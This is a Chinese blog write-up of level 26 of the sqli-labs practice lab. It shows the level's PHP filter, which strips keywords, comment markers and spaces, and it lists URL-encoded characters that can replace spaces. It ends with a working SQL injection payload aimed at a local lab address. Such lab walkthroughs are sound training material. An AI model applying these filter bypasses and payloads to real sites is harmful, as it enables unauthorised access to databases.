sqli-labs————Less-26(繞空格、/*、#等)

FLy_鵬程萬里發表於2018-05-16

Less-26

從這裡的提示,我們可以看出這一關過濾了空格。
我們可以檢視原始碼,看看它的過濾機制:

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);		//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);		//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);	//Strip out slashes
	return $id;
}

注意:由於Windows下無法使用一些特殊字元來替換空格,所以這裡為了更好的體驗建議讀者使用Linux下的環境。

從上面的過濾機制我們可以發現對“or”、“and”、“/*”、“#”、“--”“/”等特殊符號都進行了過濾,此處對於and和or的繞過方法就不再多說了,這裡我們講述幾種技巧:

繞空格:

%09 TAB鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return功能
%0b TAB鍵(垂直)
%a0 空格

在這一關中sql語句為:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

注意:對於註釋和結尾字元我們只可以使用一個“ ’”來閉合後面的單引號。

下面給出一個payload:

http://192.168.11.136/sqli-labs/Less-26?id=1'%a0||'1'='1
讀者可以自我在Linux環境中證實!


相關文章